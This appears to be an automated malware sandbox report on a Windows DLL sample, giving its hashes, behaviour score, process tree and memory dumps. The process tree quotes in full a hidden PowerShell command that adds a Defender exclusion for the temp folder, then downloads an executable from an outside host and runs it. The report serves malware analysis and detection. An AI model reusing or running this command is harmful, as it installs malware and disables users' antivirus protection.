5c8cda2e3762ca39fdc3479693ec0bb7fe1ab6a8c9d650b699ca63f5c27689c5

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
02/08/2023, 08:19

Target

bf2f2ff6aeba535928b65cbfd3890dd3.dll
Size

103KB
MD5

bf2f2ff6aeba535928b65cbfd3890dd3
SHA1

c53534801af64bd6c3e74d33d7a84163271602e2
SHA256

5c8cda2e3762ca39fdc3479693ec0bb7fe1ab6a8c9d650b699ca63f5c27689c5
SHA512

cfce2f1d33eb798e8cd68cbfd929dce2df706c8ff3f1c4da859009101bd3054423c8c91ab6e366978ee450ad9c45502d8248e96d6b5522b63d63f4e793fdb919
SSDEEP

3072:EMVz9PYVkoLvIkqUjZdJB8rVYPbwIgtDzy7URPlxu:EMbPYVkockqkZH2/Flxu

Score

1^/10

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2096	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2096	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 2096	2340	rundll32.exe	28
PID 2340 wrote to memory of 2096	2340	rundll32.exe	28
PID 2340 wrote to memory of 2096	2340	rundll32.exe	28

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bf2f2ff6aeba535928b65cbfd3890dd3.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath "$env:TEMP "; Invoke-WebRequest -Uri "https://abumachin.000webhostapp.com/files/32123212.xfx" -OutFile $env:TEMP"\2.exe"; Start-Process -FilePath $env:TEMP"\2.exe";
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2096

memory/2096-58-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2096-59-0x0000000002610000-0x0000000002618000-memory.dmp

Filesize
32KB

Download
memory/2096-60-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2096-61-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/2096-62-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2096-63-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download